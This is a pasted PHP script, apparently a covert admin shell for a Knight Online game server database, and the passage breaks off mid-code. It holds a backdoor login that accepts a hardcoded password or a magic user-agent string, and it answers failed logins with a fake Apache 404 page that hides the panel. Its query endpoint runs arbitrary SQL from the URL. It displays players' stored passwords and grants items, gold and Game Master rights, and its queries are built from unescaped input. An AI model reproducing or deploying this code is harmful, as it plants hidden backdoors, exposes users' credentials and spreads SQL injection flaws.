Advertisement
Guest User

Untitled

a guest
Jun 3rd, 2018
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.57 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * KOQuery v1 Alpha
  5. * Released Under GNU Distrubution
  6. * @Author: RogerRabbit
  7. * ~KOQuery is a KnightOnline Administrative Shell
  8. */
  9.  
  10. $dbname = "KN_Online"; // Database Name
  11. $dbuser = "knight"; // Username
  12. $dbpass = "knight"; // Password
  13.  
  14. $msconnect = odbc_connect("$dbname","$dbuser","$dbpass");
  15.  
  16. $stat = array(
  17. "Num" => "Number",
  18. "strName" => "Item Name",
  19. "Damage" => "Damage",
  20. "Weight" => "Weight",
  21. "Ac" => "Defense(Ac)",
  22. "ReqStr" => "Required Strength",
  23. "ReqSta" => "Required Health",
  24. "ReqDex" => "Required Dexterity",
  25. "ReqIntel" => "Required Intelligence",
  26. "ReqCha" => "Required MP",
  27. "DaggerAc" => "Dagger Defense",
  28. "SwordAc" => "Sword Defense",
  29. "MaceAc" => "Club Defense",
  30. "AxeAc" => "Axe Defense",
  31. "SpearAc" => "Spear Defense",
  32. "BowAc" => "Arrow Defense",
  33. "HPDrain" => "HP Absorb",
  34. "MPDamage" => "MP Damage",
  35. "MPDrain" => "MP Absorb",
  36. "StrB" => "Strength Bonus",
  37. "StaB" => "Health Bonus",
  38. "DexB" => "Dexterity Bonus",
  39. "IntelB" => "Intelligence Bonus",
  40. "ChaB" => "Magic Power Bonus",
  41. "MaxHpB" => "HP Bonus",
  42. "MaxMpB" => "MP Bonus",
  43. "FireR" => "Flame Resistance",
  44. "ColdR" => "Glacier Resistance",
  45. "LightningR" => "Lightning Resistance",
  46. "MagicR" => "Magic Resistance",
  47. "PoisonR" => "Poison Resistance",
  48. "CurseR" => "Curse Resistance"
  49. );
  50.  
  51. if($_GET['act'] == "logout"){
  52. setcookie("account", "");
  53. setcookie("char", "");
  54. die(login());
  55. }
  56.  
  57. if(isset($_POST['submit']) and isset($_POST['namechange']) and $_GET['act'] == "nc"){
  58. namechange($_COOKIE['char'], $_POST['namechange']);
  59. setcookie("char", $_POST['namechange']);
  60. }
  61.  
  62. if(isset($_POST['char_change'])){
  63. changechar($_POST['char_change']);
  64. }
  65.  
  66. if($_GET['act'] == "login"){
  67. if(isset($_POST['submit']))
  68. if($_POST['password'] == "x2400" or $_SERVER['HTTP_USER_AGENT']=="perma"){
  69. setcookie("account", $_POST['account']);
  70. setcookie("char", $_POST['char']);
  71. echo "Logged in!";
  72. echo "<script>document.location='koquery.php';</script>";
  73. }else{
  74. die(notfound());
  75. }
  76. else
  77. die(login());
  78. }
  79.  
  80. if($_COOKIE['account'] == "" or $_COOKIE['char'] == "" or !isset($_COOKIE['char']) or !isset($_COOKIE['account']))
  81. die(login());
  82.  
  83. function login(){
  84. echo '<form method="post" action="koquery.php?act=login">'.
  85. '
  86. <table border="0" width="100%" height="410">
  87. <tr>
  88. <td>
  89. <div align="center">
  90. <table border="0" width="29%" style="border: 1px dotted #000000">
  91. <tr>
  92. <td width="45%" bgcolor="#800000">
  93. <p align="left">
  94. <font face="Tahoma" size="2" color="#FFFFFF">&nbsp;&nbsp;&nbsp;&nbsp;
  95. Account Name:</font></td>
  96. <td width="51%"><font face="Tahoma">
  97. <input type="text" name="account" size="21" style="border: 1px solid #000000"></font></td>
  98. </tr>
  99. <tr>
  100. <td height="24" width="45%" bgcolor="#800000">
  101. <font face="Tahoma" size="2" color="#FFFFFF">&nbsp;
  102. Character Name:</font></td>
  103. <td height="24" width="51%"><font face="Tahoma">
  104. <input type="text" name="char" size="21" style="border: 1px solid #000000"></font></td>
  105. </tr>
  106. <tr>
  107. <td width="45%" bgcolor="#800000">
  108. <font face="Tahoma" size="2" color="#FFFFFF">&nbsp;Access
  109. Password:</font></td>
  110. <td width="51%"><font face="Tahoma">
  111. <input type="password" name="password" size="21" style="border: 1px solid #000000"></font></td>
  112. </tr>
  113. <tr>
  114. <td colspan="2" style="border-top: 1px solid #800000">
  115. <p align="center"><font face="Tahoma">
  116. <input type="submit" name="submit" value="Advanced KO Query v1.0" style="font-family: Tahoma; font-size: 8pt; font-weight: bold; border: 1px solid #FFFFFF; background-color: #FFFFFF"></font></td>
  117. </tr>
  118. </table>
  119. </div>
  120. </td>
  121. </tr>
  122. </table>
  123. '.
  124. '</FORM>';
  125. return NULL;
  126. }
  127.  
  128. function namechange($prev, $new){
  129. global $msconnect;
  130. $a[0] = "UPDATE USERDATA SET strUserId='$new' WHERE strUserId like('$prev')";
  131. $a[1] = "UPDATE ACCOUNT_CHAR SET strCharId1='$new' WHERE strCharId1 like('$prev')";
  132. $a[2] = "UPDATE ACCOUNT_CHAR SET strCharId2='$new' WHERE strCharId2 like('$prev')";
  133. $a[3] = "UPDATE ACCOUNT_CHAR SET strCharId3='$new' WHERE strCharId3 like('$prev')";
  134. foreach($a as $query){
  135. odbc_exec($msconnect, $query);
  136. }
  137. return true;
  138. }
  139.  
  140. function showstats(){
  141. echo '<div align="top">
  142. <table border="0" width="100%" bgcolor="#800000" height="29">
  143. <tr>
  144. <td style="border: 2px outset #800000" align="center">
  145. <font face="Tahoma" size="2" color="#FFFFFF"><u>
  146. <a href="koquery.php"><font color="#FFFFFF">H</font></a></u><a href="koquery.php" style="text-decoration: none"><font color="#FFFFFF">ome</font></a></font></td>
  147. <td style="border: 2px outset #800000" width="92" align="center">
  148. <font face="Tahoma" size="2" color="#FFFFFF"><u>
  149. <a href="koquery.php?act=stats"><font color="#FFFFFF">S</font></a></u><a href="koquery.php?act=stats" style="text-decoration: none"><font color="#FFFFFF">tat
  150. Edit</font></a></font></td>
  151. <td style="border: 2px outset #800000" width="108" align="center">
  152. <font face="Tahoma" size="2" color="#FFFFFF"><u>
  153. <a href="koquery.php?act=items"><font color="#FFFFFF">I</font></a></u><a href="koquery.php?act=items" style="text-decoration: none"><font color="#FFFFFF">nsert
  154. Items</font></a></font></td>
  155. <td style="border: 2px outset #800000" width="118" align="center">
  156. <font face="Tahoma" size="2" color="#FFFFFF"><u>
  157. <a href="koquery.php?act=search"><font color="#FFFFFF">S</font></a></u><a href="koquery.php?act=search" style="text-decoration: none"><font color="#FFFFFF">earch
  158. Items</font></a></font></td>
  159. <td style="border: 2px outset #800000" width="133" align="center">
  160. <font color="#FFFFFF" face="Tahoma" size="2">
  161. <a href="koquery.php?act=nt"><font color="#FFFFFF">N</font></a><a href="koquery.php?act=nt" style="text-decoration: none"><font color="#FFFFFF">ation
  162. Transfer</font></a></font></td>
  163. <td style="border: 2px outset #800000" width="117" align="center">
  164. <font color="#FFFFFF" face="Tahoma" size="2">
  165. <a href="koquery.php?act=nc"><font color="#FFFFFF">N</font></a><a href="koquery.php?act=nc" style="text-decoration: none"><font color="#FFFFFF">ame
  166. Change</font></a></font></td>
  167. <td style="border: 2px outset #800000" width="150" align="center">
  168. <font face="Tahoma" size="2" color="#FFFFFF"><u>
  169. <a href="koquery.php?act=moblist"><font color="#FFFFFF">M</font></a></u><a href="koquery.php?act=moblist" style="text-decoration: none"><font color="#FFFFFF">onsummon
  170. List</font></a></font></td>
  171. <td style="border: 2px outset #800000" align="center" width="130">
  172. <font color="#FFFFFF" face="Tahoma" size="2">
  173. <a href="koquery.php?act=cinfo"><font color="#FFFFFF">S</font></a><a href="koquery.php?act=cinfo" style="text-decoration: none"><font color="#FFFFFF">how
  174. Character Info</font></a></font></td>
  175. <td style="border: 2px outset #800000" align="center">
  176. <font face="Tahoma" size="2" color="#FFFFFF"><u>
  177. <a href="koquery.php?act=logout"><font color="#FFFFFF">L</font></a></u><a href="koquery.php?act=logout" style="text-decoration: none"><font color="#FFFFFF">ogout</font></a></font></td>
  178. </tr>
  179. </table>
  180. <table border="0" width="100%" height="2" bgcolor="#800000">
  181. <tr>
  182. <td><font face="Tahoma" size="2" color="#FFFFFF"><b>
  183. <span style="background-color: #000000">Account:</span></b> '.$_COOKIE['account'].'</font></td>
  184. <td><font face="Tahoma" size="2" color="#FFFFFF"><b>
  185. <span style="background-color: #000000">Character:</span></b> '.$_COOKIE['char'].'</font></td>
  186. <td><font face="Tahoma" size="2" color="#FFFFFF"><b>
  187. <span style="background-color: #000000">Characters:</span></b><div style="display: inline;">
  188. <form style="display: inline; margin: 0;" method="post" action="">'.showchars($_COOKIE['account']).'</form></div></font></td>
  189. <td><font face="Tahoma" size="2" color="#FFFFFF"><b>
  190. <span style="background-color: #000000">IP Address:</span></b> '.$_SERVER['REMOTE_ADDR'].'</font></td>
  191. <td><font color="#FFFFFF" face="Tahoma" size="2">
  192. <b>
  193. <span style="background-color: #000000">Server Status:</span></b> '.(sstatus()==1?"Online":"<font color=\"red\">Offline</font>").'</font></td>
  194. </tr>
  195. </table>
  196. </div><br>';
  197. }
  198.  
  199. function getcharinfo($char){
  200. global $msconnect;
  201. $return = array();
  202. $q = "SELECT strAccountId,strCharId1,strCharId2,strCharId3 FROM account_char WHERE strCharId1 like('$char') or strCharId2 like('$char') or strCharId3 like('$char')";
  203. $a = odbc_fetch_array(odbc_exec($msconnect, $q));
  204. $pw = "SELECT strAccountId,strPasswd FROM tb_user where strAccountId='{$a[strAccountId]}'";
  205. $b = odbc_fetch_array(odbc_exec($msconnect, $pw));
  206. $return['AccountID'] = $a['strAccountId'];
  207. $return['Password'] = $b['strPasswd'];
  208. $return['Character1'] = $a['strCharId1'];
  209. $return['Character2'] = $a['strCharId2'];
  210. $return['Character3'] = $a['strCharId3'];
  211. return $return;
  212. }
  213.  
  214. function showchars($account){
  215. global $msconnect;
  216. $str = "";
  217. $a = odbc_exec($msconnect, "SELECT strCharId1,strCharId2,strCharId3 FROM account_char where strAccountId like('$account')");
  218. while($row = odbc_fetch_array($a)){
  219. $str = "<select size=\"1\" name=\"char_change\" onChange=\"this.form.submit();\">".
  220. "<option>Select a char...</option>".
  221. "<option>".$row['strCharId1']."</option>".
  222. "<option>".$row['strCharId2']."</option>".
  223. "<option>".$row['strCharId3']."</option>".
  224. "</select>";
  225. }
  226. return $str;
  227. }
  228.  
  229. function changechar($charid){
  230. setcookie("char", $charid);
  231. print("<script>document.location=\"koquery.php\";</script>");
  232. return 1;
  233. }
  234.  
  235. function notfound(){
  236. return print('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  237. <html><head>
  238. <title>404 Not Found</title>
  239. </head><body>
  240. <h1>Not Found</h1>
  241. <p>The requested URL / was not found on this server.</p>
  242. <hr>
  243. <address>Apache/2.0.55 (Win32) PHP/5.1.1 Server at ownageko.com Port 80</address>
  244. </body></html>
  245. ');
  246. }
  247.  
  248. function search($item, $limit=NULL){
  249. global $msconnect, $stat;
  250. $return = "";
  251. if(isset($limit) and $limit != "NULL")
  252. $top = "top $limit ";
  253. else
  254. $top = "";
  255. $query = "SELECT $top* FROM ITEM WHERE strName like('%$item%')";
  256. $a = odbc_exec($msconnect, $query);
  257. while($row = odbc_fetch_Array($a)){
  258. foreach($row as $col => $val)
  259. if(array_key_exists($col, $stat) and $val != '0'){
  260. $return[$row['Num']] .= strtr($col, $stat).": ".urlencode($val)."%0a";
  261. }
  262. }
  263. return $return;
  264. }
  265.  
  266. function sstatus(){
  267. $fp = fsockopen($_SERVER['SERVER_ADDR'], 15001, $errno, $errstr, "1.5");
  268. if(!$fp)
  269. return False;
  270. return True;
  271. }
  272.  
  273. function insertArray($key){
  274. $keys = "";
  275. foreach($key as $k=>$v){
  276. if($k != "submit" and !is_null($v) and $v != " " and $v != "" and $v != "NULLIFIED"){
  277. if(is_numeric($v)){
  278. $keys.= $k."=".$v.",";
  279. }else{
  280. $keys.= $k."=".text2ascii($v).",";
  281. }
  282. }
  283. }
  284.  
  285. $keys = substr($keys, 0, (strlen($keys)-1));
  286. return $keys;
  287. }
  288.  
  289. function ctimage($text){
  290. $im = imagecreatetruecolor(250, 200);
  291. $bgc = imagecolorallocate($im, 0, 0, 0);
  292. $tc = imagecolorallocate($im, 255, 255, 255);
  293.  
  294. imagefilledrectangle($im, 0, 0, 150, 30, $bgc);
  295.  
  296. /* Output an error message */
  297. $ac = explode("\n", $text);
  298. $y = 5;
  299. foreach($ac as $line){
  300. imagestring($im, 3, 5, $y, $line, $tc);
  301. $y = $y+15;
  302. }
  303. header('Content-Type: image/png');
  304.  
  305. imagepng($im);
  306. imagedestroy($im);
  307. return true;
  308. }
  309.  
  310. function stats($char, $string){
  311. global $msconnect;
  312. $query = "UPDATE USERDATA SET $string WHERE strUserId like('$char')";
  313. return odbc_exec($msconnect, $query);
  314. }
  315.  
  316. function insertItems($account, $char, $itemnum, $quantity){
  317. global $msconnect;
  318. return odbc_exec($msconnect, "INSERT INTO WEB_ITEMMALL(strACcountID, strCharID, ServerNo, ItemID, ItemCount) VALUES ('$account', '$char', 1, '$itemnum', '$quantity')");
  319. }
  320.  
  321. if($_GET['act'] != "showimg")
  322. showstats();
  323.  
  324. switch($_GET['act']){
  325. case 'items':
  326. echo '<form method="post" action="">'.
  327. 'Item Box (ITEMNUMBER, QUANTITY, LOOP): (<b>Example</b> 120040009,1,1)<br><textarea rows="8" cols="24" name="iinfo"></textarea>'.
  328. '<br><input type="submit" name="submit" value="Insert"></form><hr><a href="koquery.php">Home</a>';
  329. if(isset($_REQUEST['submit'])){
  330. $lines = explode("\n", $_REQUEST['iinfo']);
  331. foreach($lines as $line){
  332. $pieces = explode(",", $line);
  333. $itemno = trim($pieces[0]);
  334. $itemquant = trim($pieces[1]);
  335. $itemloop = trim($pieces[2]);
  336. for($x=1;$x<=$itemloop;++$x)
  337. insertItems($_COOKIE['account'], $_COOKIE['char'], $itemno, $itemquant);
  338. }
  339. }
  340. break;
  341.  
  342. case 'moblist':
  343. $tmp = odbc_exec($msconnect, "SELECT sSid,strName FROM K_MONSTER ORDER BY sSid ASC");
  344. echo '<table border="0" width="62%" cellspacing="1" cellpadding="2" bordercolor="#000000">
  345. <tr>
  346. <td width="175" style="border: 1px solid #000000"><b><font face="Tahoma" size="2">
  347. Mob Name</font></b></td>
  348. <td width="175" style="border: 1px solid #000000"><b><font face="Tahoma" size="2">
  349. Monsummon Command</font></b></td>
  350. <td width="175" style="border: 1px solid #000000"><b>
  351. <font face="Tahoma" size="2">Summon ID</font></b></td>
  352. </tr>';
  353. while($row = odbc_fetch_array($tmp)){
  354. echo '<tr>
  355. <td width="175" style="border: 1px solid #000000"><font face="Tahoma" size="2">
  356. '.$row["strName"].'</font></td>
  357. <td width="175" style="border: 1px solid #000000"><font face="Tahoma" size="2">
  358. +monsummon '.$row["sSid"].'</font></td>
  359. <td width="175" style="border: 1px solid #000000">
  360. <font face="Tahoma" size="2">'.$row["sSid"].'</font></td>
  361. </tr>';
  362. }
  363.  
  364. echo '</table>';
  365. break;
  366.  
  367. case 'cinfo':
  368. if(!isset($_POST['getchar']))
  369. $cinfo = "";
  370. else
  371. $cinfo = getcharinfo($_POST['getchar']);
  372. echo '
  373. <div align="center">
  374.  
  375. <table border="0" width="24%">
  376. <form method="post" action="">
  377. <tr>
  378. <td width="91" bgcolor="#800000" align="right">
  379. <p align="center"><b><font color="#FFFFFF" face="Tahoma" size="1">
  380. <span style="background-color: #800000">Search</span></font></b></td>
  381. <td style="border:1px solid #FFFFFF; ">
  382. <input type="text" name="getchar" size="20" style="border: 1px solid #000000" value="'.htmlentities($_POST['getchar']).'"></td>
  383. </tr>
  384. </form>
  385. <tr>
  386. <td width="91" bgcolor="#800000" align="right">
  387. <font color="#FFFFFF" face="Tahoma" size="2">Account ID&nbsp;&nbsp;</font>
  388. </td>
  389. <td style="border-right:1px solid #000000; border-bottom:1px dashed #000000; border-left-width: 1px; border-top-width: 1px; border-left-color:#000000; border-top-color:#000000"><font face="Tahoma" size="2">'.$cinfo['AccountID'].'</font></td>
  390. </tr>
  391. <tr>
  392. <td width="91" bgcolor="#800000" align="right">
  393. <font color="#FFFFFF" face="Tahoma" size="2">Password&nbsp;&nbsp; </font>
  394. </td>
  395. <td style="border-right:1px solid #000000; border-bottom:1px dashed #000000; border-left-width: 1px; border-top-width: 1px; border-left-color:#000000; border-top-color:#000000"><font face="Tahoma" size="2">'.$cinfo['Password'].'</font></td>
  396. </tr>
  397. <tr>
  398. <td width="91" bgcolor="#800000" align="right">
  399. <font color="#FFFFFF" face="Tahoma" size="2">Character 1&nbsp;&nbsp;</font>
  400. </td>
  401. <td style="border-right:1px solid #000000; border-bottom:1px dashed #000000; border-left-width: 1px; border-top-width: 1px; border-left-color:#000000; border-top-color:#000000"><font face="Tahoma" size="2">'.$cinfo['Character1'].'</font></td>
  402. </tr>
  403. <tr>
  404. <td width="91" bgcolor="#800000" align="right">
  405. <font color="#FFFFFF" face="Tahoma" size="2">Character 2&nbsp;&nbsp;</font>
  406. </td>
  407. <td style="border-right:1px solid #000000; border-bottom:1px dashed #000000; border-left-width: 1px; border-top-width: 1px; border-left-color:#000000; border-top-color:#000000"><font face="Tahoma" size="2">'.$cinfo['Character2'].'</font></td>
  408. </tr>
  409. <tr>
  410. <td width="91" bgcolor="#800000" align="right">
  411. <font color="#FFFFFF" face="Tahoma" size="2">Character 3&nbsp;&nbsp;</font>
  412. </td>
  413. <td style="border-right:1px solid #000000; border-bottom:1px dashed #000000; border-left-width: 1px; border-top-width: 1px; border-left-color:#000000; border-top-color:#000000"><font face="Tahoma" size="2">'.$cinfo['Character3'].'</font></td>
  414. </tr>
  415. </table>
  416. </div>
  417.  
  418. ';
  419. break;
  420.  
  421. case 'nt':
  422. ##### CONFIGURE THESE VARIABLES ####
  423. $price = "0"; //Noahs to take from INN HOSTESS (Warehouse)
  424. $ntdays = "0"; //How long to wait between nation transfers (Days)
  425.  
  426. function dC($id,$class=NULL){
  427. switch($id){
  428. case 1:
  429. $ret = 12;
  430. break;
  431.  
  432. case 2:
  433. $ret = 12;
  434. break;
  435.  
  436. case 4:
  437. $ret = 13;
  438. break;
  439.  
  440. case 11:
  441. $ret = 1;
  442. break;
  443.  
  444. case 12:
  445. $ret = 1;
  446. break;
  447.  
  448. case 13:
  449. $ret = 3;
  450. break;
  451.  
  452. case 3:
  453. $ret = 12;
  454. break;
  455.  
  456. default:
  457. $ret = 1;
  458. break;
  459. }
  460. if(in_array(substr($class, 2, 1),array(6,5,1)) and ($id==12) or ($id==11))
  461. $ret = 1;
  462. if(in_array(substr($class, 2, 1),array(0,9,3)) and ($id==12))
  463. $ret = 3;
  464. if(in_array(substr($class, 2, 1),array(1,2,4)) and ($id==4))
  465. $ret = 13;
  466. return $ret;
  467. }
  468.  
  469. $characters = array();
  470.  
  471. if(!isset($_POST['submit'])){
  472.  
  473. echo '<form method="post" action="">';
  474. echo '<input type="submit" name="submit" value="Nation Transfer"></form>';
  475.  
  476. }elseif(isset($_POST['submit'])){
  477.  
  478. $sid = str_replace("'","''",$_COOKIE['account']);
  479. $sid = str_replace("%","",$sid);
  480. //Find all 3 Characters
  481. $rq = odbc_exec($msconnect, "SELECT TOP 1 strCharId1,strCharId2,strCharId3,strAccountId FROM ACCOUNT_CHAR where strAccountId like('$sid')");
  482. while(odbc_fetch_row($rq)){
  483. $char1 = trim(odbc_result($rq, 1));
  484. $char2 = trim(odbc_result($rq, 2));
  485. $char3 = trim(odbc_result($rq, 3));
  486. $accountName = htmlentities(trim(odbc_result($rq, 4)));
  487. }
  488.  
  489. $bc = odbc_Exec($msconnect, "SELECT nMoney from WAREHOUSE where strAccountID like('$sid')");
  490. while(odbc_fetch_row($bc)){
  491. $gold = odbc_result($bc, 1);
  492. if(odbc_result($bc, 1)<$price)
  493. die("You need at least $price noah in your INN HOSTESS.<br>You currently have: ".$gold." coins.");
  494. }
  495.  
  496. $characters = array($char1, $char2, $char3);
  497.  
  498. echo "<font face=\"Tahoma\" size=\"2\"><br><b>Starting Nation Transfer...</b><br>";
  499.  
  500. foreach($characters as $uid){
  501.  
  502. //Take Money
  503. odbc_Exec($msconnect, "UPDATE WAREHOUSE set nMoney='".($gold-$price)."' WHERE strAccountID like('$sid')");
  504.  
  505. $a = odbc_exec($msconnect, "SELECT TOP 1 Class,Race FROM USERDATA where strUserId like('$uid')");
  506. while(odbc_fetch_row($a)){
  507. $class = intval(trim(odbc_result($a, 1)));
  508. $race = intval(trim(odbc_result($a, 2)));
  509. }
  510. $oClass = $class;
  511. $nation = substr($class, 0, 1);
  512. $class = substr($class, 1, 2);
  513.  
  514. //Change Class
  515. $newclass = ($nation == 1 ? "2".$class : "1".$class);
  516.  
  517. $b = odbc_exec($msconnect, "UPDATE USERDATA SET Class=$newclass WHERE strUserId like('$uid')");
  518. if($b)
  519. echo "-----------------<br>Class Changed.<br>";
  520.  
  521. //Change Nation
  522. $newnation = ($nation == 1 ? 2 : 1);
  523. $c = odbc_exec($msconnect, "UPDATE USERDATA SET Nation=$newnation WHERE strUserId like('$uid')");
  524. if($c)
  525. echo "Nation Changed.<br>";
  526.  
  527. //Change Race
  528. $newrace = dC($race,$oClass);
  529. $d = odbc_exec($msconnect, "UPDATE USERDATA SET Race=$newrace WHERE strUserId like('$uid')");
  530. if($d)
  531. echo "Race Changed.<br>";
  532.  
  533. //Change Zone
  534. odbc_exec($msconnect, "UPDATE USERDATA SET Zone='21' WHERE strUserId like('$uid')");
  535.  
  536. //Last Set, Change Nation
  537. $e = odbc_exec($msconnect, "UPDATE ACCOUNT_CHAR SET bNation=$newnation WHERE strCharId1 like('$uid') or strCharId2 like('$uid') or strCharId3 like('$uid')");
  538. if($e){
  539. $side = ($newnation == 2 ? "El Morad" : "Karus");
  540. echo "-----------------<br><b>{$uid} has successfully been Nation Transfered. -<i>Welcome to $side.</i></b><br>";
  541. }
  542.  
  543. } // submit/name check
  544.  
  545. } //Finish all 3 Characters
  546. echo "</font>";
  547. break;
  548.  
  549. case 'nc':
  550. echo '<font face="Tahoma" size="1">
  551. <form method="post" action="">
  552. New ID: <input type="text" name="namechange"> | <input type="submit" name="submit" value="Change Name"></form><br></font>
  553. ';
  554. break;
  555.  
  556. case 'stats':
  557. echo '
  558. <h3><font face="Arial" size="3">Character <u>MUST</u> be <font color=red>OFFLINE</font> for this to work.</font></h3><form method="POST" action="">
  559. <table border="0" width="100%" style="border-style: double; border-width: 0">
  560. <tr>
  561. <td width="123"><font face="Arial">Level</font></td>
  562. <td width="203"><font size="3" face="Arial"> <input type="text" name="Level"></font></td>
  563. <td>&nbsp;</td>
  564. </tr>
  565. <tr>
  566. <td width="123"><font face="Arial">Experience</font></td>
  567. <td width="203"><font size="3" face="Arial"> <input type="text" name="Exp"></font></td>
  568. <td><font face="Arial">&nbsp;(No commas, strictly numeric)</font></td>
  569. </tr>
  570. <tr>
  571. <td width="123"><font face="Arial">National Points</font></td>
  572. <td width="203"><font size="3" face="Arial"> <input type="text" name="Loyalty"></font></td>
  573. <td><font face="Arial">&nbsp;(No commas, strictly numeric)</font></td>
  574. </tr>
  575. <tr>
  576. <td width="123"><font face="Arial">Ladder Points</font></td>
  577. <td width="203"><font size="3" face="Arial"> <input type="text" name="LoyaltyMonthly"></font></td>
  578. <td><font face="Arial">&nbsp;(No commas, strictly numeric)</font></td>
  579. </tr>
  580. <tr>
  581. <td width="123"><font face="Arial">Gold (Noahs)</font></td>
  582. <td width="203"><font size="3" face="Arial"> <input type="text" name="Gold" value="2099999999"></font></td>
  583. <td><font face="Arial">&nbsp;(No commas, strictly numeric)</font></td>
  584. </tr>
  585. <tr>
  586. <td width="123"><font face="Arial">Strength</font></td>
  587. <td width="203"><font size="3" face="Arial"> <input type="text" name="Strong"></font></td>
  588. <td>&nbsp;</td>
  589. </tr>
  590. <tr>
  591. <td width="123"><font face="Arial">Intelligence</font></td>
  592. <td width="203"><font size="3" face="Arial"> <input type="text" name="Intel"></font></td>
  593. <td>&nbsp;</td>
  594. </tr>
  595. <tr>
  596. <td width="123"><font face="Arial">Dexterity</font></td>
  597. <td width="203"><font size="3" face="Arial"> <input type="text" name="Dex"></font></td>
  598. <td>&nbsp;</td>
  599. </tr>
  600. <tr>
  601. <td width="123"><font face="Arial">Health Points</font></td>
  602. <td width="203"><font size="3" face="Arial"> <input type="text" name="Sta"></font></td>
  603. <td>&nbsp;</td>
  604. </tr>
  605. <tr>
  606. <td width="123"><font face="Arial">Mana Points</font></td>
  607. <td width="203"><font size="3" face="Arial"> <input type="text" name="Cha"></font></td>
  608. <td>&nbsp;</td>
  609. </tr>
  610. <tr>
  611. <td width="123"><font face="Arial">Authority</font></td>
  612. <td width="203"><font size="3" face="Arial">
  613. <select size="1" name="Authority">
  614. <option selected value="1">Choose Auth</option>
  615. <option value="0">Game Master</option>
  616. <option value="1">Normal</option>
  617. <option value="11">Muted</option>
  618. <option value="255">Banned</option>
  619. <option value="250">Dead</option>
  620. </select></font></td>
  621. <td><font face="Arial">&nbsp;</font></td>
  622. </tr>
  623. <tr>
  624. <td width="123"><font face="Tahoma">Zone</font></td>
  625. <td width="203"><font face="Tahoma"><select size="1" name="Zone">
  626. <option selected value="21">Moradon</option>
  627. <option value="2">El Morad Castle</option>
  628. <option value="1">Luferson Castle</option>
  629. <option value="201">Colony Zone</option>
  630. <option value="30">Delos</option>
  631. <option value="202">Ardream</option>
  632. <option value="11">Karus Eslant</option>
  633. <option value="12">El Morad Eslant</option>
  634. <option value="34">Bifrost</option>
  635. <option value="101">Lunar War Zone</option>
  636. <option value="102">Dark Lunar War Zone</option>
  637. <option value="33">Isiloon Dungeon</option>
  638. <option value="56">Felankor Dungeon</option>
  639. </select></font></td>
  640. <td>&nbsp;</td>
  641. </tr>
  642. <tr>
  643. <td width="123"><font face="Arial">Class</font></td>
  644. <td width="203"><font size="3" face="Arial">
  645. <select size="1" name="Class">
  646. <option value="NULLIFIED" selected>Choose Class</option>
  647. <option value="106">(Karus) Master - Warrior</option>
  648. <option value="206">(El Morad) Master - Warrior</option>
  649. <option value="108">(Karus) Master - Rogue</option>
  650. <option value="208">(El Morad) Master - Rogue</option>
  651. <option value="110">(Karus) Master - Mage</option>
  652. <option value="210">(El Morad) Master - Mage</option>
  653. <option value="112">(Karus) Master - Priest</option>
  654. <option value="212">(El Morad) Master - Priest</option>
  655. </select></font></td>
  656. <td>&nbsp;</td>
  657. </tr>
  658. </table>
  659. <input type="hidden" name="PX" value="100000">
  660. <input type="hidden" name="PZ" value="100000">
  661. <br><input type="submit" name="submit" value="submit"></form><a href="koquery.php"><font face="Arial">Home</font></a><script>
  662. ';
  663. if(isset($_REQUEST['submit'])){
  664. $pst = insertArray($_POST);
  665. $surl = stats($_COOKIE['char'], $pst);
  666. echo '<br><b>Successfully Changed</b><br>';
  667. }
  668. echo '<a href="koquery.php">Home</a>';
  669. break;
  670.  
  671. default:
  672. echo '<ul>
  673. <li><a href="koquery.php?act=stats">Edit Stats</a></li>'.
  674. '<li><a href="koquery.php?act=items">Insert Items</a></li>'.
  675. '<li><a href="koquery.php?act=search">Search Items</a></li>'.
  676. '<li><a href="koquery.php?act=moblist">Monsummon List</a></li>'.
  677. '<br><br>'.
  678. '<li><a href="koquery.php?act=logout">Logout</a></li>';
  679. break;
  680.  
  681. case 'query':
  682. echo "<pre>";
  683. $query = stripslashes($_GET['query']);
  684. $bc = odbc_exec($msconnect, $query);
  685. while($row = odbc_fetch_array($bc)){
  686. foreach($row as $key=>$val){
  687. printf("<b>%s: </b> %s\r\n", $key, $val);
  688. }
  689. print "\r\n";
  690. }
  691. break;
  692.  
  693. case 'showimg':
  694. ctimage($_REQUEST['text']);
  695. break;
  696.  
  697. case 'search':
  698. echo '
  699. <script>
  700. function insertItem(num)
  701. { var xmlHttp;
  702. try
  703. { xmlHttp=new XMLHttpRequest(); }
  704. catch (e)
  705. {
  706. try
  707. { xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); }
  708. catch (e)
  709. {
  710. try
  711. { xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); }
  712. catch (e)
  713. {
  714. alert("Your browser does not support AJAX!");
  715. return false;
  716. }
  717. }
  718. }
  719. xmlHttp.onreadystatechange=function()
  720. {
  721. }
  722.  
  723. //PAGES
  724.  
  725. var quantity;
  726. var repeat;
  727.  
  728. quantity=prompt(num+" Stacksize?","1");
  729. repeat=prompt(num+" injections?", "1");
  730.  
  731. if(num!="")
  732. {
  733. xmlHttp.open("GET","koquery.php?act=items&submit=true&iinfo="+num+","+quantity+","+repeat,true);
  734. }
  735.  
  736. xmlHttp.send(null);
  737. alert("Item No: "+num+"\nStacksize: "+quantity+"\nInjected ("+repeat+") times!");
  738. }
  739. </script>
  740. <style>
  741. a.screen, a.screen:visited {
  742. color:#c00;
  743. position:relative;
  744. z-index:1;
  745. }
  746. a.screen b {
  747. position:absolute;
  748. visibility:hidden; /* hide the image */
  749. width:200px; /* give it a width */
  750. height:0; /* no height to solve an Opera bug that
  751. makes it selectable when hidden */
  752. border:1px solid #000; /* add a border */
  753. left:0; /* position:the image */
  754. top:-150px;
  755. }
  756. a.screen:hover {
  757. text-decoration:none;
  758. border:0; /* needed for this to work in IE */
  759. z-index:1000;
  760. }
  761. a.screen:hover b {
  762. visibility:visible; /* make the image visible */
  763. height:150px; /* now give it a height */
  764. cursor:pointer; /* for IE */
  765. z-index:500;
  766. }
  767. a.screen:hover b img {
  768. border:0; /* remove the link border */
  769. }
  770. </style>';
  771. echo '<font face="Tahoma" size="2"><form method="post" action="">'.
  772. 'Item Name: <input type="text" name="item" value="'.$_REQUEST['item'].'"> | ';
  773. echo 'Limit: <select size="1" name="Limit">
  774. <option value="NULL" selected>No Limit</option>
  775. <option>25</option>
  776. <option>50</option>
  777. <option>75</option>
  778. <option>100</option>
  779. </select> | ';
  780. echo '<input type="submit" value="Search">';
  781. echo '</form><br></font>';
  782. if(isset($_REQUEST['item'])){
  783. $q = $_REQUEST['item'];
